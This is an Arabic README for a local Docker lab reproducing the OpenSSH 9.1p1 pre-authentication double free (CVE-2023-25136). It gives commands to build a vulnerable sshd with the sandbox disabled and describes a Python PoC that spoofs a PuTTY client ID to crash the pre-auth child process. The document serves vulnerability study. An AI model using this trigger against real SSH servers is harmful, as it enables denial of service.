
بيئة استنساخ مصغّرة قائمة على Docker لثغرة التحلل المزدوج قبل المصادقة في OpenSSH 9.1p1 (CVE-2023-25136)، تظهر تلف الذاكرة ورفض الخدمة عبر عميل PoC بلغة Python.
يوفر هذا المشروع بيئة اختبار محلية مصغرة لاستغلال ثغرة تدمير الذاكرة المزدوجة (double free) في مرحلة ما قبل المصادقة في OpenSSH 9.1p1 (CVE-2023-25136)، ومراقبة تأثير تعطل خدمة الخادم (DoS).
ملاحظة: تتفق التحليلات الرسمية والرئيسية على أنه من "الصعب جدًا استغلال هذه الثغرة عمليًا لتنفيذ تعليمات برمجية عن بُعد" ضمن التكوين الأمني الافتراضي، وهذه البيئة مخصصة بشكل أساسي لعرض أخطاء الذاكرة وتأثير رفض الخدمة.
الجهاز المستهدف (Target):
sshd--with-sandbox=no لإيقاف صندوق الحماية seccomp22، ويتم تعيينه للمنفذ 2222 على الجهاز المضيف (WSL)جهاز المهاجم (Attacker):
paramiko لتشغيل PoC (إثبات المفهوم)، ويقوم ببناء معرف عميل SSH مخصص وإجراء مصافحة قبل المصادقةهيكل الدليل:
Dockerfile: بناء صورة بيئة ثغرة OpenSSH 9.1p1poc.py: نص PoC الأدنى، يستخدم لتفعيل double free في مرحلة ما قبل المصادقةقبل تنفيذ العمليات التالية في هذا الدليل، تأكد من:
pipنفّذ الأمر التالي في هذا الدليل:
docker build -t sshd-9.1p1-vuln .
docker run --rm -d --name sshd-vuln -p 2222:22 sshd-9.1p1-vuln
ملاحظة:
--rm: حذف الحاوية تلقائيًا بعد الخروج--name sshd-vuln: اسم الحاوية-p 2222:22: تعيين المنفذ 22 داخل الحاوية إلى المنفذ 2222 على الجهاز المضيفdocker ps
يجب أن ترى شيئًا مشابهًا:
CONTAINER ID IMAGE COMMAND STATUS PORTS
xxxxxx sshd-9.1p1-vuln "/usr/sbin/sshd -D…" Up ... 0.0.0.0:2222->22/tcp
نفّذ الأمر التالي في هذا الدليل:
pip install paramiko
يستخدم poc.py دالة paramiko.Transport لإنشاء اتصال بخادم SSH المستهدف، ويقوم بتزوير معرف العميل في مرحلة ما قبل المصادقة، محاولًا تفعيل double free.
الميزات الرئيسية:
127.0.0.1:2222 (حاوية Docker المحلية)SSH-2.0-PuTTY_Release_0.64-t/--target: عنوان IP الهدف (الافتراضي 127.0.0.1)-p/--port: المنفذ الهدف (الافتراضي 2222)-c/--client-id: معرف SSH العميل المزور--timeout: المهلة الزمنية (بالثواني)-v/--verbose: عرض معلومات الخطأ التفصيليةتأكد من تشغيل الحاوية sshd-vuln، ثم نفّذ الأمر التالي في هذا الدليل:
python3 poc.py
أو حدد الوسائط صراحة:
python3 poc.py -t 127.0.0.1 -p 2222 -v
مثال لمخرجات العميل المتوقعة:
==============================================
CVE-2023-25136 OpenSSH Pre-Auth Double Free
Minimal PoC Client
==============================================
[2024-xx-xx xx:xx:xx] Target: 127.0.0.1:2222, ClientID: SSH-2.0-PuTTY_Release_0.64
[+] Sending crafted pre-auth handshake...
[-] Authentication failed or connection closed early.
يرجى التحقق من سجلات sshd للخادم لمعرفة ما إذا ظهرت رسالة مثل 'free(): double free detected'، للتأكد من تفعيل CVE-2023-25136.
ملاحظة:
Authentication failed أو connection closed من جانب العميل هو سلوك متوقع، حيث قد تتعطل العملية الفرعية لمرحلة ما قبل المصادقة أو تغلق الاتصال بسبب المعالجة.بعد تشغيل PoC، تحقق من سجلات الحاوية على الجهاز المضيف:
docker logs sshd-vuln
من المتوقع رؤية مخرجات مشابهة:
Server listening on 0.0.0.0 port 22.
Server listening on :: port 22.
Invalid user from 172.17.0.1 port xxxxx
free(): double free detected in tcache 2
حيث:
Invalid user: نظرًا لاستخدام PoC لاسم مستخدم فارغ، يسجل OpenSSH محاولة مستخدم غير صالحfree(): double free detected in tcache 2: يكتشف glibc double free ويقوم بإنهاء العملية الفرعية الحالية لـ sshd، وهذه هي ظاهرة تدمير الذاكرة / رفض الخدمة التي نريد ملاحظتها في هذه التجربةملاحظة: لكي نتمكن من رؤية هذا السطر، تم إيقاف صندوق الحماية seccomp أثناء بناء OpenSSH (
--with-sandbox=no)؛ وإلا لكان الصندوق قد اعترض السلوك غير الطبيعي قبل double free وقام بإنهاء العملية الفرعية مباشرة.
sshd في إنشاء عمليات فرعية جديدة للاتصالات اللاحقة.